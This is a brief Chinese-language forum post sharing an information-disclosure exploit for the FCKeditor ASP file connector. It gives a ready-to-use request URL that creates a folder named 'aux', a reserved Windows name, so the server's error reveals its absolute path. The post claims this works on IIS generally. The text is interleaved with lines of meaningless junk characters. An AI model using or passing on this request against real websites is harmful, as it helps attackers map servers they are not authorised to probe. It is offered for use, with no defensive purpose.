最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
8 K$ x( `6 }; c4 g% S0 l
  S/ z" t- @+ K" F- O
版本未测试。。。

- t* j' Z5 p6 @$ T, D( z- B原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
0 X* b& X8 w0 c! ]2 N3 ?
) Q' z" G: `' S1 D8 w
听说IIS都可以。。
! m& H5 u$ Q' F3 q  {9 g* {